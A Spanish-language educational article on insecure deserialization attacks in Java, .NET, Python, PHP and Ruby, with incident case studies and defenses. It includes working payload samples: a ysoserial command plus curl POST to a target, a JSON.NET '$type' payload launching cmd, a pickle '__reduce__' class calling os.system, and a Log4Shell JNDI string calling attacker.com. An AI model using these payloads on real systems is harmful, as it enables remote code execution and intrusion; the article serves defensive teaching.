Deserialization Attacks: Cuando los Datos Ejecutan Código
La deserialización insegura convierte datos aparentemente inocuos en ejecución remota de código. De las gadget chains de Java a pickle en Python, esta clase de vulnerabilidad ha causado brechas masivas como Equifax (147 millones de registros) y sigue siendo una de las más peligrosas en aplicaciones empresariales.
Cuando los datos cobran vida propia
En 2017, Equifax sufrió una de las brechas de datos más devastadoras de la historia: 147 millones de registros personales expuestos, incluyendo números de seguridad social, fechas de nacimiento y direcciones. La causa raíz fue una vulnerabilidad en Apache Struts (CVE-2017-5638) que permitía ejecución remota de código a través de datos malformados en una cabecera HTTP. En esencia, los datos que el servidor intentaba procesar contenían instrucciones que el servidor ejecutó obedientemente.
Este es el principio fundamental de los ataques de deserialización: convertir datos en código ejecutable. No mediante una inyección SQL ni explotando un buffer overflow, sino aprovechando el mecanismo legítimo que las aplicaciones utilizan para reconstruir objetos a partir de datos serializados.
La deserialización insegura ocupó el puesto A8 en el OWASP Top 10 de 2017 y se integró en A8:2021 (Software and Data Integrity Failures). Según datos de Contrast Security, aproximadamente el 70% de las aplicaciones Java empresariales contienen al menos una librería con gadget chains conocidas. El problema no está en una línea de código mal escrita, sino en un patrón arquitectónico presente en millones de aplicaciones.
Serialización y deserialización: el mecanismo básico
El concepto
Cada aplicación necesita convertir objetos en memoria a formatos que puedan almacenarse o transmitirse. Un objeto User con propiedades como name, email y role debe poder guardarse en disco, enviarse por red o almacenarse en una sesión.
La serialización convierte ese objeto en una secuencia de bytes. La deserialización reconstruye el objeto original a partir de esos bytes. El proceso parece inocuo, pero reconstruir un objeto implica ejecutar código: constructores, setters, métodos de inicialización y, en muchos lenguajes, hooks especiales que se invocan automáticamente durante la reconstrucción.
┌─────────────┐ Serialización ┌──────────────────┐
│ Objeto en │ ──────────────────→ │ Flujo de bytes │
│ memoria │ │ (almacenable, │
│ │ ←────────────────── │ transmisible) │
└─────────────┘ Deserialización └──────────────────┘
(ejecuta código)
Dónde ocurre la deserialización
La deserialización no se limita a un caso de uso específico. Aparece en:
| Contexto | Ejemplo |
|---|---|
| Sesiones de usuario | Cookies serializadas, tokens de sesión server-side |
| APIs y RPC | Java RMI, .NET Remoting, SOAP con adjuntos binarios |
| Caches | Redis, Memcached almacenando objetos serializados |
| Colas de mensajes | RabbitMQ, Kafka con payloads serializados |
| Bases de datos | Campos BLOB con objetos Java/.NET serializados |
| Transferencia de ficheros | Upload de ficheros que el servidor procesa |
El problema surge cuando alguno de estos canales acepta datos de una fuente no confiable (un usuario, una API externa, un fichero subido) y los deserializa sin validación.
Java: el epicentro de la deserialización insegura
ObjectInputStream y la caja de Pandora
Java fue el primer lenguaje donde la deserialización insegura se convirtió en una crisis a escala industrial. El mecanismo nativo de serialización (java.io.Serializable + ObjectInputStream) permite que cualquier clase que implemente la interfaz Serializable sea reconstruida desde un flujo de bytes.
El proceso funciona así:
- El atacante construye un objeto serializado malicioso (un array de bytes)
- La aplicación recibe esos bytes (vía HTTP, RMI, JMX, sesión, etc.)
ObjectInputStream.readObject()reconstruye el objeto- Durante la reconstrucción, Java invoca métodos como
readObject(),readResolve(),finalize()y los constructores de las clases implicadas - Si las clases correctas están en el classpath, la cadena de invocaciones termina ejecutando código arbitrario
La clave está en el paso 4: Java no verifica qué clase va a reconstruir antes de empezar el proceso. Cuando detecta que algo va mal, el código ya se ha ejecutado.
Gadget chains: el arte de encadenar lo legítimo
Una gadget chain no explota un bug en una librería. Explota la combinación de comportamientos legítimos de múltiples clases para lograr un efecto no previsto. Cada eslabón de la cadena (cada "gadget") es una clase que realiza una operación legítima durante la deserialización, pero encadenadas en el orden correcto, producen ejecución de código.
┌─────────────────────────────────────────────────────────────────┐
│ GADGET CHAIN (simplificada) │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Trigger │───→│ Intermediate │───→│ Sink │ │
│ │ (HashMap │ │ (Transformer │ │ (Runtime.exec() │ │
│ │ .readObject)│ │ Chain) │ │ "calc.exe") │ │
│ └──────────────┘ └──────────────┘ └──────────────────┘ │
│ │
│ La clase trigger Las clases El sink es donde │
│ se invoca al intermedias se ejecuta el │
│ deserializar transforman comando del │
│ la entrada atacante │
└─────────────────────────────────────────────────────────────────┘
Apache Commons Collections: la gadget chain que lo cambió todo
En 2015, Gabriel Lawrence y Chris Frohoff publicaron una investigación que sacudió el ecosistema Java. Demostraron que Apache Commons Collections, una de las librerías más utilizadas del ecosistema (presente en prácticamente todo servidor de aplicaciones empresarial), contenía clases que podían encadenarse para ejecutar código arbitrario durante la deserialización.
La cadena utilizaba las clases InvokerTransformer, ChainedTransformer y ConstantTransformer de Commons Collections junto con HashMap de la librería estándar de Java. El flujo era:
- Un
HashMapespecialmente construido invocahashCode()yequals()durante la deserialización - Esto desencadena una serie de
Transformerque encadenan llamadas a métodos - El
InvokerTransformerfinal invocaRuntime.getRuntime().exec()con el comando del atacante
Lo devastador fue el alcance. Apache Commons Collections estaba en el classpath de WebLogic, WebSphere, JBoss, Jenkins, Tomcat y prácticamente cualquier aplicación Java empresarial. Miles de servidores en producción eran vulnerables sin saberlo.
ysoserial: la herramienta que democratizó el ataque
Chris Frohoff creó ysoserial como herramienta de prueba de concepto. Es una colección de gadget chains para diferentes librerías Java que genera payloads serializados listos para usar:
# Genera un payload que ejecuta "id" usando la cadena CommonsCollections1
java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
# Envía el payload a un endpoint vulnerable
curl -X POST --data-binary @payload.bin http://target/api/endpoint
ysoserial incluye cadenas para docenas de librerías:
| Cadena | Librería objetivo | Notas |
|---|---|---|
| CommonsCollections1-7 | Apache Commons Collections 3.x/4.x | Las más comunes |
| CommonssBeanutils1 | Apache Commons BeanUtils | Muy extendida |
| Spring1-2 | Spring Framework | Presente en la mayoría de apps Spring |
| Groovy1 | Apache Groovy | Jenkins y aplicaciones Groovy |
| Hibernate1-2 | Hibernate ORM | Aplicaciones con persistencia JPA |
| Jdk7u21 | JDK 7 Update 21 | No requiere librería adicional |
Cada cadena nueva que se descubre amplía la superficie de ataque. Las listas negras de clases (blacklists) se convierten en una carrera armamentista donde los defensores siempre van un paso por detrás.
.NET: BinaryFormatter y JSON.NET
BinaryFormatter: el equivalente de Microsoft
.NET tiene su propio mecanismo de serialización binaria con los mismos problemas fundamentales que Java. BinaryFormatter reconstruye objetos .NET desde flujos de bytes sin restricciones sobre qué tipos puede instanciar.
Microsoft terminó marcando BinaryFormatter como obsoleto y peligroso en .NET 5+, recomendando alternativas como System.Text.Json. La documentación oficial de Microsoft incluye advertencias explícitas: "BinaryFormatter is insecure and can't be made secure."
JSON.NET y TypeNameHandling
Newtonsoft JSON.NET, la librería de serialización JSON más popular de .NET, tiene una funcionalidad llamada TypeNameHandling que, cuando se habilita, incluye información de tipos .NET dentro del JSON. Esto permite deserializar objetos polimórficos, pero también permite que un atacante especifique qué clase .NET instanciar:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["cmd", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
Este JSON aparentemente inocuo ejecuta calc.exe cuando se deserializa con TypeNameHandling.All o TypeNameHandling.Auto. La configuración por defecto (TypeNameHandling.None) es segura, pero muchas aplicaciones la modifican para soportar herencia y polimorfismo en sus APIs.
Python: pickle ejecuta código por diseño
El problema fundamental de pickle
Mientras que en Java y .NET la ejecución de código durante la deserialización es un efecto secundario del diseño, en Python pickle la ejecución de código es una característica intencional del protocolo. La propia documentación oficial de Python advierte en letras rojas:
Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.
El mecanismo es directo. Cualquier clase Python puede implementar el método __reduce__, que retorna un callable y sus argumentos. Cuando pickle.loads() reconstruye el objeto, ejecuta ese callable:
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
# Este código se ejecuta al deserializar
return (os.system, ("whoami",))
# Serializar el payload
payload = pickle.dumps(MaliciousPayload())
# En el servidor víctima, al deserializar:
pickle.loads(payload) # Ejecuta "whoami"
No hace falta buscar gadget chains ni dependencias vulnerables. El propio protocolo de pickle permite ejecutar cualquier función de Python con cualquier argumento.
Dónde aparece pickle en producción
Pickle se usa extensivamente en el ecosistema Python:
- Machine Learning: modelos entrenados se guardan como ficheros pickle (
.pkl,.joblib). Cargar un modelo de una fuente no confiable puede ejecutar código. - Flask/Django sessions: algunas configuraciones almacenan sesiones serializadas con pickle.
- Caches distribuidos: Redis y Memcached con clientes Python que serializan con pickle por defecto.
- Colas de tareas: Celery serializa argumentos de tareas (aunque soporta JSON como alternativa segura).
- Comunicación entre procesos:
multiprocessingusa pickle internamente.
La proliferación de modelos de IA compartidos en plataformas públicas ha convertido los ficheros pickle en un vector de ataque cada vez más relevante. Un modelo de machine learning malicioso puede ejecutar código en el sistema de cualquier investigador que lo cargue.
PHP y Ruby: los otros sospechosos
PHP unserialize
PHP tiene su propia función unserialize() que reconstruye objetos a partir de cadenas serializadas. Los ataques explotan "magic methods" como __wakeup(), __destruct() y __toString() que PHP invoca automáticamente durante y después de la deserialización.
Las "POP chains" (Property-Oriented Programming) de PHP son el equivalente de las gadget chains de Java: secuencias de clases del framework (Laravel, Symfony, WordPress) cuyas magic methods se encadenan para lograr ejecución de código.
Ruby Marshal
Marshal.load en Ruby puede instanciar objetos arbitrarios y ejecutar código durante la deserialización. Ruby on Rails tuvo múltiples vulnerabilidades críticas relacionadas con la deserialización de datos en cookies de sesión y parámetros XML.
Incidentes reales: el coste de la deserialización insegura
Equifax (2017): 147 millones de registros
CVE-2017-5638 en Apache Struts permitía ejecución remota de código a través de una cabecera Content-Type malformada en el parser Jakarta Multipart. La vulnerabilidad explotaba un fallo en cómo Struts deserializaba datos no confiables.
Apache publicó el parche el 6 de marzo de 2017. Los atacantes explotaron los servidores de Equifax entre mayo y julio de 2017, más de dos meses después. El resultado: 147 millones de registros con nombres, direcciones, números de seguridad social, fechas de nacimiento y números de licencia de conducir. Equifax pagó 700 millones de dólares en acuerdos regulatorios.
La lección más dolorosa no fue técnica sino organizativa: el parche existía, pero Equifax no lo aplicó a tiempo. Un escáner de vulnerabilidades había detectado el problema, pero la alerta se perdió en el ruido operativo.
Oracle WebLogic CVE-2019-2725
En abril de 2019, se descubrió que Oracle WebLogic Server era vulnerable a ejecución remota de código a través de deserialización XML en los componentes wls9_async_response.war y wls-wsat.war. La vulnerabilidad (CVSS 9.8) no requería autenticación y se explotó activamente para desplegar cryptominers y ransomware.
Oracle intentó mitigar el problema con listas negras de clases, pero los investigadores encontraron bypass tras bypass. La etiqueta <class> no estaba correctamente bloqueada, permitiendo instanciar cualquier clase con argumentos arbitrarios en el constructor. Las versiones afectadas (10.3.6.0 y 12.1.3.0) estaban desplegadas en miles de organizaciones.
Palo Alto Networks Unit 42 documentó que los atacantes usaron CVE-2019-2725 para desplegar XMRig (cryptominer) y variantes de ransomware, demostrando que las vulnerabilidades de deserialización se monetizan rápidamente en el ecosistema criminal.
Log4Shell como deserialización JNDI
Log4Shell (CVE-2021-44228) comparte ADN con los ataques de deserialización clásicos. Cuando Log4j procesaba la expresión ${jndi:ldap://attacker.com/a}, realizaba una búsqueda JNDI que descargaba y deserializaba un objeto Java desde un servidor LDAP controlado por el atacante. El objeto deserializado ejecutaba código arbitrario.
La diferencia con un ataque de deserialización tradicional era que el trigger no era un flujo de bytes binario sino una cadena de texto en un mensaje de log. Pero el mecanismo subyacente (deserialización de un objeto Java desde una fuente no confiable) era fundamentalmente el mismo.
Anatomía de una gadget chain: paso a paso
Para entender la complejidad real del problema, veamos cómo funciona una cadena simplificada basada en Apache Commons Collections:
PASO 1: El atacante construye un HashMap especial
└─ La clave del HashMap es un objeto TiedMapEntry
PASO 2: TiedMapEntry referencia un LazyMap
└─ LazyMap tiene un Transformer que se ejecuta al acceder a una clave inexistente
PASO 3: El Transformer es un ChainedTransformer con esta secuencia:
└─ ConstantTransformer("java.lang.Runtime")
└─ InvokerTransformer("getMethod", ["getRuntime", null])
└─ InvokerTransformer("invoke", [null, null])
└─ InvokerTransformer("exec", ["calc.exe"])
PASO 4: Al deserializar el HashMap, Java invoca hashCode()
└─ hashCode() accede al TiedMapEntry
└─ TiedMapEntry accede al LazyMap
└─ LazyMap ejecuta la cadena de Transformers
└─ Runtime.getRuntime().exec("calc.exe") se ejecuta
RESULTADO: código arbitrario ejecutado antes de que la aplicación
pueda inspeccionar o rechazar los datos deserializados.
Lo perverso de este mecanismo es que cada clase individual es legítima. HashMap, TiedMapEntry, LazyMap y InvokerTransformer existen para propósitos válidos. Es su combinación durante la deserialización la que produce el exploit.
Prevención: cómo defenderse
1. No deserializar datos no confiables (la regla de oro)
La defensa más efectiva es eliminar la deserialización nativa de datos no confiables. Usa formatos de intercambio que no ejecutan código:
| En lugar de... | Usa... |
|---|---|
| Java ObjectInputStream | JSON (Jackson, Gson), Protocol Buffers, MessagePack |
| Python pickle | JSON, MessagePack, Protocol Buffers |
| PHP unserialize | json_decode() |
| .NET BinaryFormatter | System.Text.Json, Protocol Buffers |
| Ruby Marshal | JSON, MessagePack |
2. Listas blancas de clases (si no puedes evitar la deserialización)
En Java 9+, ObjectInputFilter permite definir qué clases pueden deserializarse:
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.model.*;!*" // Solo clases de mi paquete, rechazar todo lo demás
);
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);
Las listas blancas son superiores a las listas negras porque no requieren conocer cada gadget chain posible. Si una clase no está en la lista, se rechaza.
3. Aislamiento y privilegios mínimos
Si la deserialización es inevitable (por ejemplo, en sistemas legacy), aísla el proceso:
- Ejecuta la deserialización en un contenedor o sandbox con privilegios mínimos
- Sin acceso a red, sin acceso a disco más allá de lo estrictamente necesario
- Sin credenciales de base de datos ni secretos del sistema
- Con límites de CPU y memoria para detectar comportamientos anómalos
4. Integridad de los datos serializados
Si los datos serializados se generan internamente (sesiones, caches), protege su integridad:
- Firma digital (HMAC) antes de almacenar, verificación antes de deserializar
- Cifrado si contienen datos sensibles
- Detección de tampering: si la firma no coincide, rechazar sin intentar deserializar
5. Monitorización de dependencias
Herramientas como OWASP Dependency-Check, Snyk y GitHub Dependabot pueden detectar librerías con gadget chains conocidas en tu proyecto. No elimina el riesgo, pero reduce la ventana de exposición.
El futuro de la deserialización insegura
La tendencia en los lenguajes modernos es clara: eliminar o restringir severamente la serialización nativa. Microsoft marcó BinaryFormatter como obsoleto. Java añadió ObjectInputFilter. Las librerías modernas prefieren JSON y Protocol Buffers.
Pero el legado es enorme. Millones de aplicaciones empresariales escritas en Java, .NET y PHP siguen usando serialización nativa. Los frameworks de machine learning siguen distribuyendo modelos como ficheros pickle. Y cada nueva librería que se añade al classpath de una aplicación Java es potencialmente una nueva gadget chain por descubrir.
La deserialización insegura no es un bug que se parchea y desaparece. Es un patrón arquitectónico que requiere decisiones conscientes de diseño para eliminarlo. Mientras existan aplicaciones que reconstruyan objetos a partir de datos no confiables, los datos seguirán ejecutando código.
Técnicas MITRE ATT&CK referenciadas
Preguntas frecuentes
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.